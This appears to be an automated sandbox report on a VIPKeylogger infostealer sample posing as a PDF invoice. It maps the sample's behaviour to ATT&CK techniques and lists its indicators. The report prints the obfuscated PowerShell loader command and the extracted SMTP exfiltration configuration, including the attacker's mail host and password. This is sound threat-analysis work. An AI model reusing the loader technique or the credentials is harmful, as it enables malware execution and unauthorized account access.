vipkeylogger | 23be2a96f4c15306083c180774452e11f42837e297627cd33ad5a9708953cd4c

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2024 17:48

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General

Target

INV-0542.pdf.exe
Size

902KB
MD5

fa02056b1a21f75efabdda81219fb7db
SHA1

3e8dd711bfef09d2db54af75476765d85693c756
SHA256

23be2a96f4c15306083c180774452e11f42837e297627cd33ad5a9708953cd4c
SHA512

af4c4a9d7e6ede0026548136fa4b7c37f8298d055a835a56baf9795bc5b0b3a034a5e2dd2592476c3479fe8b23da338ad615144a91a61b3a47dd6bee00de8088
SSDEEP

24576:ZX22KSCC4VSi/kKJfaklq2E3l8Et2F2Yurik:9ylCQLJfaklc3uEtUWT

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
Logistica07
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

Processes:

msiexec.exe

flow	pid	Process
19	1616	msiexec.exe
21	1616	msiexec.exe
24	1616	msiexec.exe
28	1616	msiexec.exe
30	1616	msiexec.exe
34	1616	msiexec.exe
36	1616	msiexec.exe
40	1616	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

Processes:

flow	ioc
18	drive.google.com
19	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
33	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
1616	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2312	powershell.exe
1616	msiexec.exe

Drops file in Windows directory 1 IoCs

Processes:

INV-0542.pdf.exe

description	ioc	Process
File created	C:\Windows\huzzah.lnk	INV-0542.pdf.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2312	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.exeINV-0542.pdf.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	INV-0542.pdf.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
1616	msiexec.exe
1616	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid	Process
2312	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

powershell.exemsiexec.exe

description	pid	Process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeIncreaseQuotaPrivilege	2312	powershell.exe
Token: SeSecurityPrivilege	2312	powershell.exe
Token: SeTakeOwnershipPrivilege	2312	powershell.exe
Token: SeLoadDriverPrivilege	2312	powershell.exe
Token: SeSystemProfilePrivilege	2312	powershell.exe
Token: SeSystemtimePrivilege	2312	powershell.exe
Token: SeProfSingleProcessPrivilege	2312	powershell.exe
Token: SeIncBasePriorityPrivilege	2312	powershell.exe
Token: SeCreatePagefilePrivilege	2312	powershell.exe
Token: SeBackupPrivilege	2312	powershell.exe
Token: SeRestorePrivilege	2312	powershell.exe
Token: SeShutdownPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeSystemEnvironmentPrivilege	2312	powershell.exe
Token: SeRemoteShutdownPrivilege	2312	powershell.exe
Token: SeUndockPrivilege	2312	powershell.exe
Token: SeManageVolumePrivilege	2312	powershell.exe
Token: 33	2312	powershell.exe
Token: 34	2312	powershell.exe
Token: 35	2312	powershell.exe
Token: 36	2312	powershell.exe
Token: SeDebugPrivilege	1616	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

INV-0542.pdf.exepowershell.exe

description	pid	Process	procid_target
PID 3808 wrote to memory of 2312	3808	INV-0542.pdf.exe	82
PID 3808 wrote to memory of 2312	3808	INV-0542.pdf.exe	82
PID 3808 wrote to memory of 2312	3808	INV-0542.pdf.exe	82
PID 2312 wrote to memory of 1616	2312	powershell.exe	89
PID 2312 wrote to memory of 1616	2312	powershell.exe	89
PID 2312 wrote to memory of 1616	2312	powershell.exe	89
PID 2312 wrote to memory of 1616	2312	powershell.exe	89

outlook_office_path 1 IoCs

Processes:

msiexec.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

Processes:

msiexec.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\INV-0542.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\INV-0542.pdf.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3808
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Bnkerkken=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Suborbiculated.Amb';$Burhne=$Bnkerkken.SubString(72926,3);.$Burhne($Bnkerkken)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gaw3ys0x.xhw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Ootid.Clo

Filesize
317KB

MD5
ed6a752afaab73e3a33d22575cb787b6

SHA1
1c358cbcba2041f9a7ea8f0083cb1f404c3d459f

SHA256
1d4d52364eb7b2e04042e21d69aae9191875155491920a45b590abed8979cd11

SHA512
484a6b62681858e6f1a8fb04ca58b83240bb7f7730822add1deb47b3737e7a3e4aee758d37c45944113296a21e6e0b78187c799e286bea7a4227ede75169f5b0

Download Submit
C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Suborbiculated.Amb

Filesize
71KB

MD5
c5aa2dab45cc230922fae97020ebab32

SHA1
a20e5e5e121c6bd952eb42a1ec04f81641d28b63

SHA256
6dbad8626bf3199ee7b0b29ed5e63fd0a3435c50da9999acee9bb0996c0bc13d

SHA512
caaf4d1cefe49a7509858fd59e96ffb7c7b3f7a210fc9d56ceeccd6594e77fdfe6f834f85e9d9e1c83ea9046b96987bdf1e8ee73a0047e39a32874448df50f57

Download Submit
memory/1616-89-0x0000000021F30000-0x0000000021F3A000-memory.dmp

Filesize
40KB

Download
memory/1616-88-0x0000000022550000-0x00000000225E2000-memory.dmp

Filesize
584KB

Download
memory/1616-86-0x0000000021E60000-0x0000000021EB0000-memory.dmp

Filesize
320KB

Download
memory/1616-85-0x0000000022720000-0x00000000228E2000-memory.dmp

Filesize
1.8MB

Download
memory/1616-83-0x00000000219F0000-0x0000000021A8C000-memory.dmp

Filesize
624KB

Download
memory/1616-82-0x0000000000E70000-0x0000000000EB8000-memory.dmp

Filesize
288KB

Download
memory/1616-81-0x0000000000E70000-0x00000000020C4000-memory.dmp

Filesize
18.3MB

Download
memory/2312-50-0x00000000071E0000-0x0000000007283000-memory.dmp

Filesize
652KB

Download
memory/2312-55-0x0000000007AB0000-0x0000000007ACA000-memory.dmp

Filesize
104KB

Download
memory/2312-29-0x00000000062D0000-0x0000000006366000-memory.dmp

Filesize
600KB

Download
memory/2312-30-0x0000000006280000-0x000000000629A000-memory.dmp

Filesize
104KB

Download
memory/2312-31-0x0000000006D30000-0x0000000006D52000-memory.dmp

Filesize
136KB

Download
memory/2312-32-0x00000000073C0000-0x0000000007964000-memory.dmp

Filesize
5.6MB

Download
memory/2312-27-0x0000000005D60000-0x0000000005D7E000-memory.dmp

Filesize
120KB

Download
memory/2312-34-0x0000000007FF0000-0x000000000866A000-memory.dmp

Filesize
6.5MB

Download
memory/2312-37-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-36-0x000000006F7E0000-0x000000006F82C000-memory.dmp

Filesize
304KB

Download
memory/2312-35-0x0000000007170000-0x00000000071A2000-memory.dmp

Filesize
200KB

Download
memory/2312-47-0x00000000071B0000-0x00000000071CE000-memory.dmp

Filesize
120KB

Download
memory/2312-48-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-49-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-9-0x00000000732AE000-0x00000000732AF000-memory.dmp

Filesize
4KB

Download
memory/2312-51-0x00000000072E0000-0x00000000072EA000-memory.dmp

Filesize
40KB

Download
memory/2312-52-0x0000000007300000-0x0000000007311000-memory.dmp

Filesize
68KB

Download
memory/2312-53-0x0000000007340000-0x000000000734E000-memory.dmp

Filesize
56KB

Download
memory/2312-54-0x0000000007350000-0x0000000007364000-memory.dmp

Filesize
80KB

Download
memory/2312-28-0x0000000005DB0000-0x0000000005DFC000-memory.dmp

Filesize
304KB

Download
memory/2312-56-0x0000000007380000-0x0000000007388000-memory.dmp

Filesize
32KB

Download
memory/2312-57-0x0000000007AE0000-0x0000000007B0A000-memory.dmp

Filesize
168KB

Download
memory/2312-58-0x0000000007B10000-0x0000000007B34000-memory.dmp

Filesize
144KB

Download
memory/2312-59-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-61-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-60-0x00000000732AE000-0x00000000732AF000-memory.dmp

Filesize
4KB

Download
memory/2312-62-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-26-0x0000000005780000-0x0000000005AD4000-memory.dmp

Filesize
3.3MB

Download
memory/2312-64-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-66-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-65-0x0000000008670000-0x000000000A993000-memory.dmp

Filesize
35.1MB

Download
memory/2312-67-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-68-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-16-0x0000000005710000-0x0000000005776000-memory.dmp

Filesize
408KB

Download
memory/2312-15-0x00000000056A0000-0x0000000005706000-memory.dmp

Filesize
408KB

Download
memory/2312-11-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-13-0x00000000732A0000-0x0000000073A50000-memory.dmp

Filesize
7.7MB

Download
memory/2312-14-0x0000000004DB0000-0x0000000004DD2000-memory.dmp

Filesize
136KB

Download
memory/2312-12-0x0000000004E80000-0x00000000054A8000-memory.dmp

Filesize
6.2MB

Download
memory/2312-10-0x0000000002440000-0x0000000002476000-memory.dmp

Filesize
216KB

Download